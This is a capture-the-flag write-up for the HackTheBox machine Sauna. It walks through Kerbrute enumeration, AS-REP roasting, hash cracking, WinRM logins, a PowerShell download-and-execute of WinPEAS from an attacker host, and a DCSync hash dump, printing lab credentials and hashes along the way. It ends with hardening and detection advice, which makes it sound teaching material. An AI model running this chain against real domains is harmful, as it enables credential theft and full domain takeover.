HTB Sauna Writeup

Table of Contents

Overview

Sauna is an easy difficulty Windows box on HackTheBox that walks through a pretty classic Active Directory attack chain. We start with some light OSINT on a corporate website, use Kerbrute to validate usernames against the domain controller, pull an AS-REP roastable hash for a user with Kerberos pre-authentication disabled, crack it, then pivot through stored AutoLogon credentials to a service account with DCSync rights. Nothing groundbreaking, but it is a genuinely solid box for getting comfortable with AD enumeration and the sort of misconfigurations you run into all the time in real environments.

Enumeration

Nmap

Starting off with the usual nmap scan to see what we are working with.

┌──(kali㉿kali)-[~/htb/sauna]
└─$ sudo nmap 10.129.95.180 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-13 22:12 -0500
Nmap scan report for 10.129.95.180
Host is up (0.18s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-14 10:15:50Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 7h03m18s
| smb2-time:
|   date: 2026-02-14T10:16:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.72 seconds

Heaps to unpack here. The port profile screams domain controller: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), and RPC (135/593). The LDAP banner gives us the domain name EGOTISTICAL-BANK.LOCAL and confirms the hostname is SAUNA. Port 5985 (WinRM) is also open, which is worth keeping in mind for later since that gives us a nice interactive shell if we can find valid credentials.

SMB signing is enabled and required, so Responder relay attacks are off the table here. The clock skew of about 7 hours is also worth noting because Kerberos is very fussy about time synchronisation. If your tickets start failing, that is probably why.

Let’s add the host to /etc/hosts so we can reference it by name:

┌──(kali㉿kali)-[~/htb/sauna]
└─$ sudo sh -c 'echo "10.129.95.180 SAUNA.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL" >> /etc/hosts'

Web Server

I honestly expected a blank IIS default page, but there is actually a full website here for “Egotistical Bank.”

alt text

The site itself is not particularly interesting from a web vulnerability standpoint. No login forms, nothing dynamic looking. But there is something very useful: staff names. On the “About Us” or team page, you can find a handful of employee names listed out:

Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver

In a real engagement, this is gold. People’s names on a company website are one of the most reliable sources for building username lists, especially when combined with common naming conventions like first.last, flast, or firstl.

User

Username Enumeration with Kerbrute

With those names from the website, I generated a few different username format variations using sed. This covers the most common corporate naming conventions:

# first.last format
┌──(kali㉿kali)-[~/htb/sauna]
└─$ sed 's/ /./' names.txt > usernames.txt

# f.last format
┌──(kali㉿kali)-[~/htb/sauna]
└─$ sed 's/\(.\).* \(.*\)/\L\1.\2/' names.txt >> usernames.txt

# flast format
┌──(kali㉿kali)-[~/htb/sauna]
└─$ sed 's/\(.\).* \(.*\)/\L\1\2/' names.txt >> usernames.txt

Now we throw that list at Kerbrute to see which usernames actually exist in the domain. Kerbrute works by sending AS-REQ messages to the KDC. If the username exists, Kerberos responds differently than if it does not, even without a password. It is a very quiet way to enumerate users compared to, say, brute forcing SMB.

┌──(kali㉿kali)-[~/htb/sauna]
└─$ kerbrute userenum -d EGOTISTICAL-BANK.LOCAL ./usernames.txt --dc 10.129.95.180

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 02/13/26 - Ronnie Flathers @ropnop

2026/02/13 22:59:15 >  Using KDC(s):
2026/02/13 22:59:15 >   10.129.95.180:88

2026/02/13 22:59:15 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2026/02/13 22:59:15 >  Done! Tested 18 usernames (1 valid) in 0.384 seconds

One hit: fsmith. That maps to Fergus Smith from the website, using the flast naming convention. I had feroxbuster running in the background doing directory brute forcing, but Kerbrute already had what we needed before it returned anything useful.

AS-REP Roasting

With a valid username confirmed, the next logical step is to check if the account has Kerberos pre-authentication disabled. When pre-authentication is turned off, anyone can request an AS-REP (Authentication Service Response) for that user, and the response contains material encrypted with the user’s password hash. We can grab that and crack it offline.

Impacket’s GetNPUsers does exactly this:

┌──(kali㉿kali)-[~/htb/sauna]
└─$ impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL/' -usersfile usernames.txt -format hashcat -outputfile asrep -dc-ip 10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
...
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:6ac673e04bf28b7169f20a8b1245b736$...
...

Bingo. We got an AS-REP hash for fsmith. Time to crack it.

Cracking the Hash

Throwing it at Hashcat with the rockyou.txt wordlist using mode 18200 (Kerberos 5 AS-REP etype 23):

$ .\hashcat.exe -a 0 -m 18200 $fsmith .\rockyou.txt
...
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23

Cracked in seconds. The password is Thestrokes23. Not a terrible password by any means, but it is in rockyou.txt, which should tell you something about the importance of proper password policies.

WinRM Shell

We noticed earlier that port 5985 (WinRM) was open. Let’s try logging in with Evil-WinRM:

┌──(kali㉿kali)-[~/htb/sauna]
└─$ evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt
0301d3e957b3660dea6ee36f3a51e830

User flag sorted.

Privilege Escalation

AutoLogon Credential Harvesting

Now that we have a foothold, time to look for ways to escalate. I grabbed WinPEAS from my attack box and ran it on the target:

# On the attack box, serve WinPEAS
┌──(kali㉿kali)-[~/htb/sauna]
└─$ python3 -m http.server 8082
# On the target, download and execute
C:\Users\FSmith\Desktop> powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8082/winpeas.ps1')"

WinPEAS found something juicy in the Windows Registry: AutoLogon credentials.

=========|| Additonal Winlogon Credentials Check
EGOTISTICALBANK
EGOTISTICALBANK\svc_loanmanager
Moneymakestheworldgoround!

These credentials are stored in plaintext in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. AutoLogon is one of those features that is convenient for kiosks or lab machines but absolutely catastrophic in a domain environment. The credentials just sit there in the registry, readable by any authenticated user.

Lateral Movement to svc_loanmgr

I tried using the svc_loanmanager username with Evil-WinRM but it did not work. A quick net user on the box reveals why:

C:\Users\FSmith\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr

The actual account name is svc_loanmgr, not svc_loanmanager. The AutoLogon entry had the display name rather than the SAM account name. Easy mistake to miss if you are not paying attention.

┌──(kali㉿kali)-[~/htb/sauna]
└─$ evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

We are in. This account has similar privileges to fsmith on the surface, but since it is a service account, it is worth digging deeper into its AD permissions.

BloodHound Collection and DCSync

I ran a BloodHound collection using NetExec (nxc). Rather than faffing about with DNS configuration on my attack box, I just pointed the --dns-server flag at the target:

┌──(kali㉿kali)-[~/htb/sauna]
└─$ nxc ldap 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!' --bloodhound --collection All -d EGOTISTICAL-BANK.LOCAL --dns-server 10.129.95.180

LDAP        10.129.95.180   389    SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
LDAP        10.129.95.180   389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
LDAP        10.129.95.180   389    SAUNA            Resolved collection methods: trusts, container, objectprops, acl, psremote, session, dcom, localadmin, rdp, group
LDAP        10.129.95.180   389    SAUNA            Done in 00M 47S
LDAP        10.129.95.180   389    SAUNA            Compressing output into /home/kali/.nxc/logs/SAUNA_10.129.95.180_2026-02-14_082246_bloodhound.zip

Loading the data into BloodHound and checking the permissions for svc_loanmgr reveals the path to Domain Admin. The account has both GetChanges and GetChangesAll permissions on the domain object, which is the combination required for a DCSync attack.

alt text

DCSync abuses the Directory Replication Service (DRS) protocol, which domain controllers use to replicate data between themselves. If an account has the right permissions, it can pretend to be a domain controller and request password hashes for any account in the domain, including the krbtgt account and the Domain Administrator.

Let’s use Impacket’s secretsdump to perform the DCSync:

┌──(kali㉿kali)-[~/.nxc/logs]
└─$ impacket-secretsdump -just-dc 'svc_loanmgr:Moneymakestheworldgoround!@SAUNA.EGOTISTICAL-BANK.LOCAL'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:13a92c3e168fbc3a11bab096730d4e96:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
...
[*] Cleaning up...

Every hash in the domain. Game over.

Domain Admin

With the Administrator’s AES key in hand, we can authenticate directly using Kerberos. Using NetExec to execute a command as Administrator:

┌──(kali㉿kali)-[~/.nxc/logs]
└─$ nxc smb 10.129.95.180 -u Administrator --aesKey 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 --kdcHost SAUNA.EGOTISTICAL-BANK.LOCAL -X "cat C:\users\administrator\desktop\root.txt"
SMB         10.129.95.180   445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.95.180   445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\Administrator:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 (Pwn3d!)
SMB         10.129.95.180   445    SAUNA            [+] Executed command via wmiexec
SMB         10.129.95.180   445    SAUNA            94532d80e1f4523fe863ddad0909c9f8

Root flag collected. Box done.

Hardening Takeaways and Detection

This box is a great showcase of how a chain of individually “minor” misconfigurations can lead to full domain compromise. Here is what could have been done differently and how a blue team could spot this activity.

1. Kerberos Pre-Authentication Should Not Be Disabled

The problem: The fsmith account had “Do not require Kerberos preauthentication” ticked in Active Directory. This allowed us to request an AS-REP hash without knowing the password at all.

Hardening: There is almost never a legitimate reason to disable pre-authentication on a user account in a modern environment. Audit your domain with PowerShell:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

If any accounts show up that should not be there, fix them immediately. If you genuinely need it for a legacy application, put that account in a dedicated OU with a long, complex password and monitor it closely. This way, the obtained hash cannot be so trivially cracked.

Detection: Look for Event ID 4768 (Kerberos TGT requests) where the pre-authentication type is 0 (no pre-auth). A burst of these for multiple accounts in quick succession is a dead giveaway for AS-REP roasting.

2. AutoLogon Credentials are a Gift to Attackers

The problem: The svc_loanmanager password was stored in cleartext in the Windows Registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.

Hardening: Do not use AutoLogon in domain environments. If you absolutely must (kiosks, single purpose machines), use the Autologon tool from Sysinternals which encrypts the password in the registry using LSA secrets. It is not bulletproof, but it is a damn sight better than plaintext.

Detection: Monitor access to the Winlogon registry key. Sysmon Event ID 13 (Registry value set) can track writes to this key, and you can alert on reads from non-system processes using more advanced EDR telemetry. Also, any enumeration tool like WinPEAS running on a host should trigger behavioural alerts if you have decent endpoint detection in place.

3. DCSync Permissions Need to be Tightly Controlled

The problem: A service account (svc_loanmgr) had both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object. Only domain controllers should have these permissions.

Hardening: Audit who has replication rights regularly. You can check this with PowerShell or BloodHound. The only accounts that should have these permissions are domain controller machine accounts and the built in domain admin accounts. If a service account has them, that is a misconfiguration that needs fixing immediately. Microsoft’s documentation on securing AD replication covers this in detail.

Detection: DCSync generates Event ID 4662 (An operation was performed on an object) with specific GUIDs for the replication permissions. The key properties to watch for are:

  • {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes)
  • {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All)

If these events come from a non-DC machine account, that is your smoking gun. Make sure you have “Audit Directory Service Access” enabled in your Group Policy or you will not see these events at all.

4. Password Policy and WinRM Access

The problem: The password Thestrokes23 was in the rockyou.txt wordlist and cracked in seconds.

Hardening: Enforce a minimum password length of at least 14 characters. Consider implementing a banned password list that includes common wordlist entries. Azure AD Password Protection can extend this to on-premises AD as well. For WinRM access, restrict which groups can connect remotely via Group Policy and consider putting it behind a jump box or VPN rather than exposing it broadly.

Detection: Monitor Event ID 4624 (successful logon) for WinRM sessions (logon type 3 from unusual source IPs). Also keep an eye on Event ID 4625 (failed logons) for any password spraying attempts that might precede a successful compromise.

5. Staff Names on the Website

The problem: Full employee names on the corporate website gave us everything we needed to build a valid username list.

Hardening: This one is tricky because businesses want to show off their team. If you do list staff, at least make sure your username format is not trivially guessable. More importantly, combine this awareness with strong password policies and pre-authentication enforcement so that even if an attacker can enumerate usernames, they cannot do much with them.

Summary

The full attack chain looked like this:

  1. Enumerate names from the corporate website
  2. Generate username permutations and validate against Kerberos with Kerbrute
  3. AS-REP Roast the fsmith account (pre-auth disabled)
  4. Crack the hash with Hashcat
  5. Log in via WinRM
  6. Find AutoLogon credentials for svc_loanmgr using WinPEAS
  7. Pivot to svc_loanmgr
  8. Discover DCSync rights via BloodHound
  9. Dump all domain hashes with secretsdump
  10. Authenticate as Domain Admin

Every single step in this chain was preventable with proper configuration and monitoring. That is what makes Sauna such a useful learning box. It does not rely on exotic exploits or zero days. It is just plain old misconfiguration, which is exactly what you will find in most real world environments.